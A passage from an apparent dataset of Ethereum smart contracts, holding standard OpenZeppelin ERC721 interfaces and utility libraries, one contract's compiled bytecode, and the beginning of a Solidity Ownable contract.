token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106101fe5760003560e01c8063715018a61161011d578063b6819114116100b0578063e8a3d4851161007f578063eabf889a11610064578063eabf889a146105a0578063f2fde38b146105b6578063f3fef3a3146105d657600080fd5b8063e8a3d4851461056b578063e985e9c51461058057600080fd5b8063b6819114146104f6578063b88d4fde1461050b578063c87b56dd1461052b578063d682ed861461054b57600080fd5b806391b7f5ed116100ec57806391b7f5ed1461048e57806395d89b41146104ae578063a0712d68146104c3578063a22cb465146104d657600080fd5b8063715018a61461042557806382d95df51461043a5780638d859f3e1461045a5780638da5cb5b1461047057600080fd5b806333a99e041161019557806355f804b31161016457806355f804b3146103a55780636352211e146103c55780636f8b44b0146103e557806370a082311461040557600080fd5b806333a99e041461032d578063372c65331461034257806342842e0e14610358578063438b63001461037857600080fd5b806318160ddd116101d157806318160ddd146102b45780631fe543e3146102d757806323b872dd146102f757806332cb6b0c1461031757600080fd5b806301ffc9a71461020357806306fdde0314610238578063081812fc1461025a578063095ea7b314610292575b600080fd5b34801561020f57600080fd5b5061022361021e366004611e8d565b6105f6565b60405190151581526020015b60405180910390f35b34801561024457600080fd5b5061024d610648565b60405161022f9190611f02565b34801561026657600080fd5b5061027a610275366004611f15565b6106da565b6040516001600160a01b03909116815260200161022f565b34801561029e57600080fd5b506102b26102ad366004611f43565b610774565b005b3480156102c057600080fd5b506102c961088a565b60405190815260200161022f565b3480156102e357600080fd5b506102b26102f2366004611fb6565b61089a565b34801561030357600080fd5b506102b2610312366004612068565b610922565b34801561032357600080fd5b506102c9600e5481565b34801561033957600080fd5b506102b26109a9565b34801561034e57600080fd5b506102c9600d5481565b34801561036457600080fd5b506102b2610373366004612068565b610ad8565b34801561038457600080fd5b506103986103933660046120a9565b610af3565b60405161022f91906120c6565b3480156103b157600080fd5b506102b26103c0366004612162565b610bdd565b3480156103d157600080fd5b5061027a6103e0366004611f15565b610c38565b3480156103f157600080fd5b506102b2610400366004611f15565b610cc3565b34801561041157600080fd5b506102c96104203660046120a9565b610d10565b34801561043157600080fd5b506102b2610daa565b34801561044657600080fd5b506102b2610455366004611f15565b610dfe565b34801561046657600080fd5b506102c9600c5481565b34801561047c57600080fd5b506006546001600160a01b031661027a565b34801561049a57600080fd5b506102b26104a9366004611f15565b610e4b565b3480156104ba57600080fd5b5061024d610e98565b6102b26104d1366004611f15565b610ea7565b3480156104e257600080fd5b506102b26104f13660046121ab565b611010565b34801561050257600080fd5b506102c9601281565b34801561051757600080fd5b506102b26105263660046121e9565b61101b565b34801561053757600080fd5b5061024d610546366004611f15565b6110a9565b34801561055757600080fd5b506102b2610566366004612269565b611192565b34801561057757600080fd5b5061024d611237565b34801561058c57600080fd5b5061022361059b3660046122de565b611257565b3480156105ac57600080fd5b506102c9600a5481565b3480156105c257600080fd5b506102b26105d13660046120a9565b611327565b3480156105e257600080fd5b506102b26105f1366004611f43565b6113f4565b60006001600160e01b031982166380ac58cd60e01b148061062757506001600160e01b03198216635b5e139f60e01b145b8061064257506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600080546106579061230c565b80601f01602080910402602001604051908101604052809291908181526020018280546106839061230c565b80156106d05780601f106106a5576101008083540402835291602001916106d0565b820191906000526020600020905b8154815290600101906020018083116106b357829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107585760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061077f82610c38565b9050806001600160a01b0316836001600160a01b031614156107ed5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b606482015260840161074f565b336001600160a01b038216148061080957506108098133611257565b61087b5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161074f565b61088583836114c8565b505050565b6000610895600b5490565b905090565b336001600160a01b037f000000000000000000000000271682deb8c4e0901d1a1550ad2e64d568e6990916146109145760405163073e64fd60e21b81523360048201526001600160a01b037f000000000000000000000000271682deb8c4e0901d1a1550ad2e64d568e6990916602482015260440161074f565b61091e8282611536565b5050565b61092c3382611565565b61099e5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f766564000000000000000000000000000000606482015260840161074f565b610885838383611634565b6006546001600160a01b031633146109f15760405162461bcd60e51b815260206004820181905260248201526000805160206124d9833981519152604482015260640161074f565b6008546040516305d3b1d360e41b81527fff8dedfbfa60af186cf3c830acbc32c05aae823045ae5ea7da1e45fbfaba4f92600482015267ffffffffffffffff7f000000000000000000000000000000000000000000000000000000000000000416602482015260036044820152620186a06064820152600160848201526001600160a01b0390911690635d3b1d309060a401602060405180830381600087803b158015610a9d57600080fd5b505af1158015610ab1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad59190612347565b50565b6108858383836040518060200160405280600081525061101b565b60606000610b0083610d10565b67ffffffffffffffff811115610b1857610b18611f6f565b604051908082528060200260200182016040528015610b41578160200160208202803683370190505b5090506000805b600b54811015610bd4576000818152600260205260409020546001600160a01b031615158015610b915750846001600160a01b0316610b8682610c38565b6001600160a01b0316145b15610bc25780838381518110610ba957610ba9612360565b6020908102919091010152610bbf60018361238c565b91505b80610bcc816123a4565b915050610b48565b50909392505050565b6006546001600160a01b03163314610c255760405162461bcd60e51b815260206004820181905260248201526000805160206124d9833981519152604482015260640161074f565b805161091e90600f906020840190611dde565b6000818152600260205260408120546001600160a01b0316806106425760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e0000000000000000000000000000000000000000000000606482015260840161074f565b6006546001600160a01b03163314610d0b5760405162461bcd60e51b815260206004820181905260248201526000805160206124d9833981519152604482015260640161074f565b600e55565b60006001600160a01b038216610d8e5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f206164647265737300000000000000000000000000000000000000000000606482015260840161074f565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610df25760405162461bcd60e51b815260206004820181905260248201526000805160206124d9833981519152604482015260640161074f565b610dfc60006117e8565b565b6006546001600160a01b03163314610e465760405162461bcd60e51b815260206004820181905260248201526000805160206124d9833981519152604482015260640161074f565b600d55565b6006546001600160a01b03163314610e935760405162461bcd60e51b815260206004820181905260248201526000805160206124d9833981519152604482015260640161074f565b600c55565b6060600180546106579061230c565b600d5415801590610eba5750600d544210155b610f065760405162461bcd60e51b815260206004820152601660248201527f53616c65206973206e6f74206163746976652079657400000000000000000000604482015260640161074f565b34600c5482610f1591906123bf565b14610f625760405162461bcd60e51b815260206004820152601a60248201527f45746865722076616c7565206973206e6f7420636f7272656374000000000000604482015260640161074f565b6012600e54610f7191906123de565b81610f7b600b5490565b610f85919061238c565b1115610fd35760405162461bcd60e51b815260206004820152600960248201527f536f6c64206f7574210000000000000000000000000000000000000000000000604482015260640161074f565b60005b8181101561091e57610ff033610feb600b5490565b61183a565b610ffe600b80546001019055565b80611008816123a4565b915050610fd6565b61091e338383611854565b6110253383611565565b6110975760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f766564000000000000000000000000000000606482015260840161074f565b6110a384848484611923565b50505050565b6000818152600260205260409020546060906001600160a01b03166111365760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000606482015260840161074f565b60006111406119a1565b90506000815111611160576040518060200160405280600081525061118b565b8061116a846119b0565b60405160200161117b9291906123f5565b6040516020818303038152906040525b9392505050565b6006546001600160a01b031633146111da5760405162461bcd60e51b815260206004820181905260248201526000805160206124d9833981519152604482015260640161074f565b60005b81811015610885576112178383838181106111fa576111fa612360565b905060200201602081019061120f91906120a9565b600b5461183a565b611225600b80546001019055565b8061122f816123a4565b9150506111dd565b60606040518060800160405280604281526020016124f960429139905090565b60075460405163c455279160e01b81526001600160a01b03848116600483015260009281169190841690829063c45527919060240160206040518083038186803b1580156112a457600080fd5b505afa1580156112b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112dc9190612424565b6001600160a01b031614156112f5576001915050610642565b6001600160a01b0380851660009081526005602090815260408083209387168352929052205460ff165b949350505050565b6006546001600160a01b0316331461136f5760405162461bcd60e51b815260206004820181905260248201526000805160206124d9833981519152604482015260640161074f565b6001600160a01b0381166113eb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840161074f565b610ad5816117e8565b6006546001600160a01b0316331461143c5760405162461bcd60e51b815260206004820181905260248201526000805160206124d9833981519152604482015260640161074f565b6001600160a01b0382166114925760405162461bcd60e51b815260206004820152600f60248201527f496e76616c696420616464726573730000000000000000000000000000000000604482015260640161074f565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610885573d6000803e3d6000fd5b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906114fd82610c38565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600b548160008151811061154c5761154c612360565b602002602001015161155e9190612457565b600a555050565b6000818152600260205260408120546001600160a01b03166115de5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161074f565b60006115e983610c38565b9050806001600160a01b0316846001600160a01b031614806116245750836001600160a01b0316611619846106da565b6001600160a01b0316145b8061131f575061131f8185611257565b826001600160a01b031661164782610c38565b6001600160a01b0316146116c35760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201527f6f776e6572000000000000000000000000000000000000000000000000000000606482015260840161074f565b6001600160a01b0382166117255760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161074f565b6117306000826114c8565b6001600160a01b03831660009081526003602052604081208054600192906117599084906123de565b90915550506001600160a01b038216600090815260036020526040812080546001929061178790849061238c565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b61091e828260405180602001604052806000815250611ac6565b816001600160a01b0316836001600160a01b031614156118b65760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161074f565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b61192e848484611634565b61193a84848484611b44565b6110a35760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606482015260840161074f565b6060600f80546106579061230c565b6060816119d45750506040805180820190915260018152600360fc1b602082015290565b8160005b81156119fe57806119e8816123a4565b91506119f79050600a8361246b565b91506119d8565b60008167ffffffffffffffff811115611a1957611a19611f6f565b6040519080825280601f01601f191660200182016040528015611a43576020820181803683370190505b5090505b841561131f57611a586001836123de565b9150611a65600a86612457565b611a7090603061238c565b60f81b818381518110611a8557611a85612360565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350611abf600a8661246b565b9450611a47565b611ad08383611c9c565b611add6000848484611b44565b6108855760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606482015260840161074f565b60006001600160a01b0384163b15611c9157604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611b8890339089908890889060040161247f565b602060405180830381600087803b158015611ba257600080fd5b505af1925050508015611bd2575060408051601f3d908101601f19168201909252611bcf918101906124bb565b60015b611c77573d808015611c00576040519150601f19603f3d011682016040523d82523d6000602084013e611c05565b606091505b508051611c6f5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606482015260840161074f565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061131f565b506001949350505050565b6001600160a01b038216611cf25760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161074f565b6000818152600260205260409020546001600160a01b031615611d575760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161074f565b6001600160a01b0382166000908152600360205260408120805460019290611d8090849061238c565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611dea9061230c565b90600052602060002090601f016020900481019282611e0c5760008555611e52565b82601f10611e2557805160ff1916838001178555611e52565b82800160010185558215611e52579182015b82811115611e52578251825591602001919060010190611e37565b50611e5e929150611e62565b5090565b5b80821115611e5e5760008155600101611e63565b6001600160e01b031981168114610ad557600080fd5b600060208284031215611e9f57600080fd5b813561118b81611e77565b60005b83811015611ec5578181015183820152602001611ead565b838111156110a35750506000910152565b60008151808452611eee816020860160208601611eaa565b601f01601f19169290920160200192915050565b60208152600061118b6020830184611ed6565b600060208284031215611f2757600080fd5b5035919050565b6001600160a01b0381168114610ad557600080fd5b60008060408385031215611f5657600080fd5b8235611f6181611f2e565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715611fae57611fae611f6f565b604052919050565b60008060408385031215611fc957600080fd5b8235915060208084013567ffffffffffffffff80821115611fe957600080fd5b818601915086601f830112611ffd57600080fd5b81358181111561200f5761200f611f6f565b8060051b9150612020848301611f85565b818152918301840191848101908984111561203a57600080fd5b938501935b838510156120585784358252938501939085019061203f565b8096505050505050509250929050565b60008060006060848603121561207d57600080fd5b833561208881611f2e565b9250602084013561209881611f2e565b929592945050506040919091013590565b6000602082840312156120bb57600080fd5b813561118b81611f2e565b6020808252825182820181905260009190848201906040850190845b818110156120fe578351835292840192918401916001016120e2565b50909695505050505050565b600067ffffffffffffffff83111561212457612124611f6f565b612137601f8401601f1916602001611f85565b905082815283838301111561214b57600080fd5b828260208301376000602084830101529392505050565b60006020828403121561217457600080fd5b813567ffffffffffffffff81111561218b57600080fd5b8201601f8101841361219c57600080fd5b61131f8482356020840161210a565b600080604083850312156121be57600080fd5b82356121c981611f2e565b9150602083013580151581146121de57600080fd5b809150509250929050565b600080600080608085870312156121ff57600080fd5b843561220a81611f2e565b9350602085013561221a81611f2e565b925060408501359150606085013567ffffffffffffffff81111561223d57600080fd5b8501601f8101871361224e57600080fd5b61225d8782356020840161210a565b91505092959194509250565b6000806020838503121561227c57600080fd5b823567ffffffffffffffff8082111561229457600080fd5b818501915085601f8301126122a857600080fd5b8135818111156122b757600080fd5b8660208260051b85010111156122cc57600080fd5b60209290920196919550909350505050565b600080604083850312156122f157600080fd5b82356122fc81611f2e565b915060208301356121de81611f2e565b600181811c9082168061232057607f821691505b6020821081141561234157634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561235957600080fd5b5051919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000821982111561239f5761239f612376565b500190565b60006000198214156123b8576123b8612376565b5060010190565b60008160001904831182151516156123d9576123d9612376565b500290565b6000828210156123f0576123f0612376565b500390565b60008351612407818460208801611eaa565b83519083019061241b818360208801611eaa565b01949350505050565b60006020828403121561243657600080fd5b815161118b81611f2e565b634e487b7160e01b600052601260045260246000fd5b60008261246657612466612441565b500690565b60008261247a5761247a612441565b500490565b60006001600160a01b038087168352808616602084015250836040830152608060608301526124b16080830184611ed6565b9695505050505050565b6000602082840312156124cd57600080fd5b815161118b81611e7756fe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572697066733a2f2f626166796265696367636566366f78346c6f75366e78337834756e367a776e7368356376333661653565723676746a707a656e6c61727473756f75a164736f6c6343000809000a
[ 5 ]
0xf1b735685416253a8f7c8a6686970ca2b0ccecce
pragma solidity ^0.6.0; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers 